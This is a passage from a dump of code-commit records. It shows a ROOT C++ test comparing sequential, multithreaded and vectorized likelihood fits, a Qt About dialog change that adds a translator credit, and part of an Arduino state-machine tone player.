\"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/VECTOR TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\" << std::endl << std::endl;\n      fVec->SetParameters(p);\n      fitter.SetFunction(*wfVec);\n      fitter.Config().ParamsSettings() = paramSettings; \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << \"Time for the vectorized test: \" << duration.count() << std::endl;\n      return ret;\n   }\n\n   double testMTFitVec()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/MT+VEC TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\n\\n\";\n      fVec->SetParameters(p);\n      fitter.SetFunction(*wfVec);\n      fitter.Config().ParSettings(0).SetLimits(0, 1);\n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB, 0, ROOT::Fit::ExecutionPolicy::kMultithread);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << \"Time for the parallel+vectorized test: \" << duration.count() << std::endl;\n      return ret;\n   }\n\n   double testMPFitVec()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/MP+VEC TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\n\\n\";\n      fVec->SetParameters(p);\n      fitter.SetFunction(*wfVec);\n      fitter.Config().ParamsSettings() = paramSettings; \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB, 0, ROOT::Fit::ExecutionPolicy::kMultiprocess);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << \"Time for the multiprocess+vectorized test:\" << duration.count() << std::endl;\n      return ret;\n   }\n#endif\n   const ROOT::Fit::Fitter &GetFitter()\n   {\n      return fitter;\n   }\n\nprivate:\n   TF1 *fSeq;\n   ROOT::Math::WrappedMultiTF1Templ<double> *wfSeq;\n#ifdef R__HAS_VECCORE\n   TF1 *fVec;\n   ROOT::Math::WrappedMultiTF1Templ<ROOT::Double_v> *wfVec;\n#endif\n   std::chrono::time_point<std::chrono::system_clock> start, end;\n   std::chrono::duration<double> duration;\n   ROOT::Fit::Fitter fitter;\n   ROOT::Fit::UnBinData *dataSB;\n   std::vector<ROOT::Fit::ParameterSettings> paramSettings; \n   bool filledData = false;\n   double p[paramSize] = {0.1, 1000., 130., 2., 3.5, 1.5};\n};\n\n\nint main()\n{\n   TestVector test(200000);\n\n   \/\/Sequential\n   if (!test.testFitSeq()) {\n      Error(\"testLogLExecPolicy\", \"Fit failed!\");\n      return -1;\n   }\n\n\/\/ #if defined(R__USE_IMT) || defined(R__HAS_VECCORE)\n\/\/#ifdef R__HAS_VECCORE\n   auto seq = test.GetFitter().Result().MinFcnValue();\n\/\/#endif\n\n#ifdef R__USE_IMT\n   \/\/Multithreaded\n   if (!test.testMTFit()) {\n      Error(\"testLogLExecPolicy\", \"Multithreaded Fit failed!\");\n      return -1;\n   }\n   auto seqMT = test.GetFitter().Result().MinFcnValue();\n   if (!compareResult(seqMT, seq, \"Mutithreaded LogL Fit: \"))\n      return 1;\n#endif\n\n#ifdef R__HAS_VECCORE\n   \/\/Vectorized\n   if (!test.testFitVec()) {\n      Error(\"testLogLExecPolicy\", \"Vectorized Fit failed!\");\n      return -1;\n   }\n   auto vec = test.GetFitter().Result().MinFcnValue();\n   if (!compareResult(vec, seq, \"vectorized LogL Fit: \"))\n      return 2;\n#endif\n\n#if defined(R__USE_IMT) && defined(R__HAS_VECCORE)\n   \/\/Multithreaded and vectorized\n   if (!test.testMTFitVec()) {\n      Error(\"testLogLExecPolicy\", \"Multithreaded + vectorized Fit failed!\");\n      return -1;\n   }\n   auto vecMT = test.GetFitter().Result().MinFcnValue();\n   if (!compareResult(vecMT, seq, \"Mutithreaded + vectorized LogL Fit: \"))\n      return 3;\n#endif\n   return 0;\n}\n<commit_msg>Set correctly the fit parameters settings for all the different tests (2)<commit_after>#include \"Fit\/Fitter.h\"\n#include \"Math\/WrappedMultiTF1.h\"\n#include \"TH1.h\"\n#include \"TMath.h\"\n#include \"TRandom.h\"\n#include \"TROOT.h\"\n\n#include<iostream>\n#include<chrono>\n\nconstexpr int paramSize = 6;\n\nbool compareResult(double v1, double v2, std::string s = \"\", double tol = 0.01)\n{\n   \/\/ compare v1 with reference v2\n   \/\/  \/\/ give 1% tolerance\n   if (std::abs(v1 - v2) < tol * std::abs(v2)) return true;\n   std::cerr << s << \" Failed comparison of fit results \\t logl = \" << v1 << \"   it should be = \" << v2 << std::endl;\n   return false;\n}\n\n\/\/Functor for a Higgs Fit normalized with analytical integral\ntemplate<class T>\nclass Func {\npublic:\n\n   Func()\n   {\n      params.resize(paramSize);\n   }\n   T operator()(const T *data, const Double_t *p)\n   {\n      bool changed = false;\n      for (unsigned i = 0; i < params.size(); i++) {\n         R__LOCKGUARD(gROOTMutex);\n         if (p[i] != params[i])\n            if (!changed) {\n               changed = true;\n            }\n\n      }\n\n      if (changed) {\n         R__LOCKGUARD(gROOTMutex);\n         for (unsigned i = 0; i < paramSize; i++) {\n            params[i] = p[i];\n         }\n         auto funcInt1 = [&](double x) {\n            return 50.*TMath::Sqrt(TMath::Pi()) * exp((p[4] * p[4]) \/ (4 * p[5])) * TMath::Erf((0.5 * p[4] + p[5] * 0.01 * x) \/ (TMath::Sqrt(p[5])))\n                   \/ (TMath::Sqrt(p[5]));\n         };\n         auto funcInt2 = [&](double x) {\n            return -p[3] * TMath::Sqrt(TMath::Pi() \/ 2.) * TMath::Erf((p[2] - x) \/ (TMath::Sqrt(2.) * p[3]));\n         };\n         integral1 = funcInt1(200) - funcInt1(100);\n         integral2 = funcInt2(200) - funcInt2(100);\n      }\n\n      auto f1 = params[0] * exp(-(*data + (-p[2])) * (*data + (-p[2])) \/ (2.*p[3] * p[3]));\n\n      auto f2 = (1 - params[0]) * exp(-(params[4] * (*data * (0.01)) +\n                                        params[5] * ((*data) * (0.01)) * ((*data) * (0.01))));\n\n      f1 \/= integral2 != 0 ? integral2 : 1;\n      f2 \/= integral1 != 0 ? integral1 : 1;\n      return f1 + f2;\n   }\n\nprivate:\n\n   double integral1 = 1.;\n   double integral2 = 1.;\n   std::vector<double> params;\n};\n\n\/\/Test class with functions for each of the cases\nclass TestVector {\npublic:\n   TestVector(unsigned nPoints)\n   {\n      fSeq =  new TF1(\"fseq\", Func<double>(), 100, 200, paramSize);\n      wfSeq =  new ROOT::Math::WrappedMultiTF1Templ<double>(*fSeq);\n\n#ifdef R__HAS_VECCORE\n      fVec = new TF1(\"fvCore\", Func<ROOT::Double_v>(), 100, 200, paramSize);\n      wfVec =  new ROOT::Math::WrappedMultiTF1Templ<ROOT::Double_v>(*fVec);\n#endif\n\n      dataSB = new ROOT::Fit::UnBinData(nPoints);\n\n      fSeq->SetParameters(p);\n      if (!filledData) {\n         for (unsigned i = 0; i < nPoints; ++i) {\n            double x = fSeq->GetRandom();\n            dataSB->Add(x);\n         }\n         filledData = true;\n      }\n      fitter.Config().MinimizerOptions().SetPrintLevel(3);\n      fitter.Config().SetMinimizer(\"Minuit2\", \"Migrad\");\n      fitter.Config().MinimizerOptions().SetTolerance(10);\n   }\n\n\n\n   double testFitSeq()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/SEQUENTIAL TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\" << std::endl << std::endl;\n      fSeq->SetParameters(p);\n      fitter.SetFunction(*wfSeq, false);\n      fitter.Config().ParSettings(0).SetLimits(0, 1);\n      fitter.Config().ParSettings(1).Fix();\n      fitter.Config().ParSettings(3).SetLowerLimit(0);\n      fitter.Config().ParSettings(4).SetLowerLimit(0);\n      fitter.Config().ParSettings(5).SetLowerLimit(0);\n      \/\/ save the parameter settings for the other fits\n      paramSettings = fitter.Config().ParamsSettings();  \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << std::endl << \"Time for the sequential test: \" << duration.count() << std::endl;\n      return  ret;\n   }\n\n   double testMTFit()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/MT TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\" << std::endl << std::endl;\n      fSeq->SetParameters(p);\n      fitter.SetFunction(*wfSeq, false);\n      fitter.Config().ParamsSettings() = paramSettings; \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB, 0, ROOT::Fit::ExecutionPolicy::kMultithread);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << \"Time for the parallel test: \" << duration.count() << std::endl;\n      return ret;\n   }\n\n   double testMPFit()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/MP TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\n\\n\";\n      fSeq->SetParameters(p);\n      fitter.SetFunction(*wfSeq, false);\n      fitter.Config().ParamsSettings() = paramSettings; \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB, 0, ROOT::Fit::ExecutionPolicy::kMultiprocess);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << \"Time for the multiprocess test:\" << duration.count() << std::endl;\n      return ret;\n   }\n\n#ifdef R__HAS_VECCORE\n   double testFitVec()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/VECTOR TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\" << std::endl << std::endl;\n      fVec->SetParameters(p);\n      fitter.SetFunction(*wfVec);\n      fitter.Config().ParamsSettings() = paramSettings; \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << \"Time for the vectorized test: \" << duration.count() << std::endl;\n      return ret;\n   }\n\n   double testMTFitVec()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/MT+VEC TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\n\\n\";\n      fVec->SetParameters(p);\n      fitter.SetFunction(*wfVec);\n      fitter.Config().ParamsSettings() = paramSettings; \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB, 0, ROOT::Fit::ExecutionPolicy::kMultithread);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << \"Time for the parallel+vectorized test: \" << duration.count() << std::endl;\n      return ret;\n   }\n\n   double testMPFitVec()\n   {\n      std::cout << \"\\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/MP+VEC TEST\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\n\\n\";\n      fVec->SetParameters(p);\n      fitter.SetFunction(*wfVec);\n      fitter.Config().ParamsSettings() = paramSettings; \n      start = std::chrono::system_clock::now();\n      bool ret = fitter.Fit(*dataSB, 0, ROOT::Fit::ExecutionPolicy::kMultiprocess);\n      end =  std::chrono::system_clock::now();\n      duration = end - start;\n      std::cout << \"Time for the multiprocess+vectorized test:\" << duration.count() << std::endl;\n      return ret;\n   }\n#endif\n   const ROOT::Fit::Fitter &GetFitter()\n   {\n      return fitter;\n   }\n\nprivate:\n   TF1 *fSeq;\n   ROOT::Math::WrappedMultiTF1Templ<double> *wfSeq;\n#ifdef R__HAS_VECCORE\n   TF1 *fVec;\n   ROOT::Math::WrappedMultiTF1Templ<ROOT::Double_v> *wfVec;\n#endif\n   std::chrono::time_point<std::chrono::system_clock> start, end;\n   std::chrono::duration<double> duration;\n   ROOT::Fit::Fitter fitter;\n   ROOT::Fit::UnBinData *dataSB;\n   std::vector<ROOT::Fit::ParameterSettings> paramSettings; \n   bool filledData = false;\n   double p[paramSize] = {0.1, 1000., 130., 2., 3.5, 1.5};\n};\n\n\nint main()\n{\n   TestVector test(200000);\n\n   \/\/Sequential\n   if (!test.testFitSeq()) {\n      Error(\"testLogLExecPolicy\", \"Fit failed!\");\n      return -1;\n   }\n\n\/\/ #if defined(R__USE_IMT) || defined(R__HAS_VECCORE)\n\/\/#ifdef R__HAS_VECCORE\n   auto seq = test.GetFitter().Result().MinFcnValue();\n\/\/#endif\n\n#ifdef R__USE_IMT\n   \/\/Multithreaded\n   if (!test.testMTFit()) {\n      Error(\"testLogLExecPolicy\", \"Multithreaded Fit failed!\");\n      return -1;\n   }\n   auto seqMT = test.GetFitter().Result().MinFcnValue();\n   if (!compareResult(seqMT, seq, \"Mutithreaded LogL Fit: \"))\n      return 1;\n#endif\n\n#ifdef R__HAS_VECCORE\n   \/\/Vectorized\n   if (!test.testFitVec()) {\n      Error(\"testLogLExecPolicy\", \"Vectorized Fit failed!\");\n      return -1;\n   }\n   auto vec = test.GetFitter().Result().MinFcnValue();\n   if (!compareResult(vec, seq, \"vectorized LogL Fit: \"))\n      return 2;\n#endif\n\n#if defined(R__USE_IMT) && defined(R__HAS_VECCORE)\n   \/\/Multithreaded and vectorized\n   if (!test.testMTFitVec()) {\n      Error(\"testLogLExecPolicy\", \"Multithreaded + vectorized Fit failed!\");\n      return -1;\n   }\n   auto vecMT = test.GetFitter().Result().MinFcnValue();\n   if (!compareResult(vecMT, seq, \"Mutithreaded + vectorized LogL Fit: \"))\n      return 3;\n#endif\n   return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Nathan Osman\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n **\/\n\n#include <QFont>\n\n#include \"..\/util\/platform.h\"\n#include \"aboutdialog.h\"\n#include \"config.h\"\n\nconst QString Credits =\n    \"<html><head><meta name='qrichtext' content='1'\/><\/head><body>\"\n    \"<table><tr><td>Created by:<\/td>\"\n    \"<td><a href='http:\/\/quickmediasolutions.com'>Nathan Osman<\/a><\/td><\/tr>\"\n    \"<tr><td><\/td><td><a href='http:\/\/matthewjumpdesign.com'>Matthew Jump<\/a><\/td><\/tr>\"\n    \"<tr><td><\/td><td><a href='mailto:daniel.samrocha@gmail.com'>Daniel San<\/a><\/td><\/tr>\"\n    \"<\/table><\/body><\/html>\";\n\nconst QString License =\n    \"The MIT License (MIT)\\n\\n\"\n\n    \"Permission is hereby granted, free of charge, to any person obtaining a copy \"\n    \"of this software and associated documentation files (the \\\"Software\\\"), to \"\n    \"deal in the Software without restriction, including without limitation the \"\n    \"rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or \"\n    \"sell copies of the Software, and to permit persons to whom the Software is \"\n    \"furnished to do so, subject to the following conditions:\\n\\n\"\n\n    \"The above copyright notice and this permission notice shall be included in \"\n    \"all copies or substantial portions of the Software.\\n\\n\"\n\n    \"THE SOFTWARE IS PROVIDED \\\"AS IS\\\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \"\n    \"IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \"\n    \"FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \"\n    \"AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \"\n    \"LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING \"\n    \"FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS \"\n    \"IN THE SOFTWARE.\";\n\nAboutDialog::AboutDialog()\n{\n    setupUi(this);\n\n    layout()->setAlignment(logo, Qt::AlignHCenter);\n    logo->load(QString(\":\/img\/logo.svg\"));\n\n    QFont font = lblProjectTitle->font();\n    font.setBold(true);\n    lblProjectTitle->setFont(font);\n    lblProjectTitle->setText(PROJECT_NAME);\n\n    lblVersion->setText(QString(\"Version %1 - %2 %3\").arg(PROJECT_VERSION)\n            .arg(Platform::operatingSystemFriendlyName())\n            .arg(Platform::architectureName()));\n    lblDescription->setText(PROJECT_DESCRIPTION);\n\n    QString websiteTxt(\"<html><head\/><body><a href=\\\"%1\\\">%1<\/a><\/body><\/html>\");\n    lblWebsite->setText(websiteTxt.arg(PROJECT_WEBSITE));\n    lblCopyright->setText(QString(\"Copyright (c) 2016 - %1\").arg(PROJECT_AUTHOR));\n\n    textBrowser->hide();\n}\n\nvoid AboutDialog::onCreditsOrLicenceClicked(bool checked)\n{\n    if (sender()->objectName() == \"btnLicense\") {\n        textBrowser->setText(License);\n        btnCredits->setChecked(false);\n    } else if (sender()->objectName() == \"btnCredits\") {\n        textBrowser->setText(Credits);\n        btnLicense->setChecked(false);\n    }\n\n    textBrowser->setVisible(checked);\n    wdtContent->setVisible(!checked);\n}\n<commit_msg>Added Edity to list of translators.<commit_after>\/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 Nathan Osman\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n **\/\n\n#include <QFont>\n\n#include \"..\/util\/platform.h\"\n#include \"aboutdialog.h\"\n#include \"config.h\"\n\nconst QString Credits =\n    \"<html><head><meta name='qrichtext' content='1'\/><\/head><body>\"\n    \"<table><tr><td>Created by: <\/td>\"\n    \"<td><a href='http:\/\/quickmediasolutions.com'>Nathan Osman<\/a><br>\"\n    \"<a href='http:\/\/matthewjumpdesign.com'>Matthew Jump<\/a><\/td><\/tr>\"\n    \"<a href='mailto:daniel.samrocha@gmail.com'>Daniel San<\/a><\/td><\/tr>\"\n    \"<tr><td colspan='2'><\/td><\/tr><tr><td>Translated by: <\/td>\"\n    \"<td><a href='http:\/\/askubuntu.com\/users\/527600\/edity'>Edity<\/a> (Korean)<\/td>\"\n    \"<\/table><\/body><\/html>\";\n\nconst QString License =\n    \"The MIT License (MIT)\\n\\n\"\n\n    \"Permission is hereby granted, free of charge, to any person obtaining a copy \"\n    \"of this software and associated documentation files (the \\\"Software\\\"), to \"\n    \"deal in the Software without restriction, including without limitation the \"\n    \"rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or \"\n    \"sell copies of the Software, and to permit persons to whom the Software is \"\n    \"furnished to do so, subject to the following conditions:\\n\\n\"\n\n    \"The above copyright notice and this permission notice shall be included in \"\n    \"all copies or substantial portions of the Software.\\n\\n\"\n\n    \"THE SOFTWARE IS PROVIDED \\\"AS IS\\\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \"\n    \"IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \"\n    \"FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \"\n    \"AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \"\n    \"LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING \"\n    \"FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS \"\n    \"IN THE SOFTWARE.\";\n\nAboutDialog::AboutDialog()\n{\n    setupUi(this);\n\n    layout()->setAlignment(logo, Qt::AlignHCenter);\n    logo->load(QString(\":\/img\/logo.svg\"));\n\n    QFont font = lblProjectTitle->font();\n    font.setBold(true);\n    lblProjectTitle->setFont(font);\n    lblProjectTitle->setText(PROJECT_NAME);\n\n    lblVersion->setText(QString(\"Version %1 - %2 %3\").arg(PROJECT_VERSION)\n            .arg(Platform::operatingSystemFriendlyName())\n            .arg(Platform::architectureName()));\n    lblDescription->setText(PROJECT_DESCRIPTION);\n\n    QString websiteTxt(\"<html><head\/><body><a href=\\\"%1\\\">%1<\/a><\/body><\/html>\");\n    lblWebsite->setText(websiteTxt.arg(PROJECT_WEBSITE));\n    lblCopyright->setText(QString(\"Copyright (c) 2016 - %1\").arg(PROJECT_AUTHOR));\n\n    textBrowser->hide();\n}\n\nvoid AboutDialog::onCreditsOrLicenceClicked(bool checked)\n{\n    if (sender()->objectName() == \"btnLicense\") {\n        textBrowser->setText(License);\n        btnCredits->setChecked(false);\n    } else if (sender()->objectName() == \"btnCredits\") {\n        textBrowser->setText(Credits);\n        btnLicense->setChecked(false);\n    }\n\n    textBrowser->setVisible(checked);\n    wdtContent->setVisible(!checked);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Atm_player.hpp\"\n\n\/* Add optional parameters for the state machine to begin()\n * Add extra initialization code\n *\/\n\nAtm_player& Atm_player::begin( int pin \/* = - 1 *\/ ) {\n  \/\/ clang-format off\n  const static state_t state_table[] PROGMEM = {\n    \/*             ON_ENTER    ON_LOOP  ON_EXIT  EVT_START  EVT_STOP  EVT_TOGGLE  EVT_TIMER  EVT_EOPAT  EVT_REPEAT   ELSE *\/\n    \/*   IDLE *\/   ENT_IDLE, ATM_SLEEP,      -1,     START,       -1,      START,        -1,        -1,         -1,    -1,\n    \/*  START *\/  ENT_START,        -1,      -1,        -1,       -1,         -1,        -1,        -1,         -1, SOUND,\n    \/*  SOUND *\/  ENT_SOUND,        -1,      -1,        -1,     IDLE,       IDLE,     QUIET,        -1,         -1,    -1,\n    \/*  QUIET *\/  ENT_QUIET,        -1,      -1,        -1,     IDLE,       IDLE,      NEXT,        -1,         -1,    -1,\n    \/*   NEXT *\/   ENT_NEXT,        -1,      -1,        -1,     IDLE,       IDLE,        -1,    REPEAT,         -1, SOUND,\n    \/* REPEAT *\/ ENT_REPEAT,        -1,      -1,        -1,     IDLE,       IDLE,        -1,        -1,     FINISH, START,\n    \/* FINISH *\/ ENT_FINISH,        -1,      -1,        -1,     IDLE,         -1,        -1,        -1,       IDLE, START,\n  };\n  \/\/ clang-format on\n  Machine::begin( state_table, ELSE );\n  Atm_player::pin = pin;\n  speed( 100 );\n  pitch( 100 );\n  repeat( 1 );\n  play( 880, 50 );\n  return *this;\n}\n\n\/* Add C++ code for each event (input)\n * The code must return 1 if the event should be triggered\n *\/\n\nint Atm_player::event( int id ) {\n  switch ( id ) {\n    case EVT_START:\n      return 0;\n    case EVT_TIMER:\n      return timer.expired( this );\n    case EVT_EOPAT:\n      if ( patternwidth == 32 ) {\n        return ( step * 3 * sizeof( uint32_t ) ) >= patternsize;\n      } else {\n        return ( step * 3 * sizeof( int ) ) >= patternsize;\n      }\n    case EVT_REPEAT:\n      return counter_repeat.expired();\n  }\n  return 0;\n}\n\n\/* Add C++ code for each action\n * This generates the 'output' for the state machine\n *\/\n\nvoid Atm_player::action( int id ) {\n  switch ( id ) {\n    case ENT_FINISH:\n      push( connectors, ON_FINISH, 0, 0, 0 );\n      return;\n    case ENT_IDLE:\n#ifdef _VARIANT_ARDUINO_DUE_X_    \n      if ( pin >= 0 ) noTone( pin );  \/\/ Tone takes up 7 bytes extra SRAM\n#endif\n      counter_repeat.set( repeatCount );\n      return;\n    case ENT_START:\n      step = 0;\n      counter_repeat.decrement();\n      return;\n    case ENT_SOUND:\n      if ( patternwidth == 32 ) {\n        uint32_t v = pattern32[step * 3] * (uint32_t)pitchFactor;\n        push( connectors, ON_NOTE, true, v & 0xFFFF, v >> 16 & 0xFFFF );\n#ifdef _VARIANT_ARDUINO_DUE_X_        \n        if ( pin >= 0 ) tone( pin, pattern32[step * 3] * pitchFactor );\n#endif\n        timer.set( pattern32[step * 3 + 1] * speedFactor );\n      } else {\n        push( connectors, ON_NOTE, true, pattern16[step * 3] * pitchFactor, 1 );\n#ifdef _VARIANT_ARDUINO_DUE_X_        \n        if ( pin >= 0 ) tone( pin, pattern16[step * 3] * pitchFactor );\n#endif\n        timer.set( pattern16[step * 3 + 1] * speedFactor );        \n      }\n      return;\n    case ENT_QUIET:\n      if ( patternwidth == 32 ) {\n        uint32_t v = pattern32[step * 3] * (uint32_t)pitchFactor;\n        push( connectors, ON_NOTE, false, v & 0xFFFF, v >> 16 & 0xFFFF );\n#ifdef _VARIANT_ARDUINO_DUE_X_\n        if ( pin >= 0 ) noTone( pin );\n#endif        \n        timer.set( pattern32[step * 3 + 2] * speedFactor );\n      } else {\n        push( connectors, ON_NOTE, false, pattern16[step * 3] * pitchFactor, 0 );\n#ifdef _VARIANT_ARDUINO_DUE_X_\n        if ( pin >= 0 ) noTone( pin );\n#endif\n        timer.set( pattern16[step * 3 + 2] * speedFactor );\n      }\n      return;\n    case ENT_NEXT:\n      step++;\n      return;\n    case ENT_REPEAT:\n      return;\n  }\n}\n\n\/* How many times to repeat the pattern\n *\n *\/\n\nAtm_player& Atm_player::repeat( uint16_t v \/* = -1 *\/) {\n  counter_repeat.set( repeatCount = v );\n  return *this;\n}\n\nAtm_player& Atm_player::speed( float v ) {\n  speedFactor = 100 \/ v;\n  return *this;\n}\n\nAtm_player& Atm_player::pitch( float v ) {\n  pitchFactor = v \/ 100;\n  return *this;\n}\n\nAtm_player& Atm_player::start( void ) {\n  trigger( EVT_START );\n  return *this;\n}\n\nAtm_player& Atm_player::stop( void ) {\n  trigger( EVT_STOP );\n  return *this;\n}\n\nAtm_player& Atm_player::toggle( void ) {\n  trigger( EVT_TOGGLE );\n  return *this;\n}\n\n\/* Sets the pattern and pattern length (in bytes)\n *\n *\/\n\nAtm_player& Atm_player::play( int* pat, int patsize ) {\n  patternwidth = 16;\n  pattern16 = pat;\n  patternsize = patsize;\n  counter_repeat.set( repeatCount );\n  step = 0;\n  return *this;\n}\n\nAtm_player& Atm_player::play( uint32_t* pat, int patsize ) {\n  patternwidth = 32;\n  pattern32 = pat;\n  patternsize = patsize;\n  counter_repeat.set( repeatCount );\n  step = 0;\n  return *this;\n}\n\nAtm_player& Atm_player::play( int freq, int period, int pause \/* = 0 *\/ ) {\n  patternwidth = 16;\n  stub[0] = freq;\n  stub[1] = period;\n  stub[2] = pause;\n  pattern16 = stub;\n  patternsize = 3 * sizeof( int );\n  step = 0;\n  return *this;\n}\n\n\/* Optionally override the default trigger() method\n * Control what triggers your machine can and cannot process\n *\/\n\nAtm_player& Atm_player::trigger( int event ) {\n  Machine::trigger( event );\n  return *this;\n}\n\n\/* Optionally override the default state() method\n * Control what the machine returns when another process requests its state()\n *\/\n\nint Atm_player::state( void ) {\n  return Machine::state();\n}\n\n\/* Nothing customizable below this line\n ************************************************************************************************\n*\/\n\n\/* onFinish() push connector variants ( slots 1, autostore 0, broadcast 0 )\n *\n * Usage in action() handler: push( connectors, ON_FINISH, 0, v, up)\n *\/\n\nAtm_player& Atm_player::onFinish( Machine& machine, int event ) {\n  onPush( connectors, ON_FINISH, 0, 1, 1, machine, event );\n  return *this;\n}\nAtm_player& Atm_player::onFinish( atm_cb_push_t callback, int idx ) {\n  onPush( connectors, ON_FINISH, 0, 1, 1, callback, idx );\n  return *this;\n}\n\n\/* onNote() push connector variants ( slots 2, autostore 0, broadcast 0 )\n *\n * Usage in action() handler: push( connectors, ON_NOTE, sub, v, up)\n 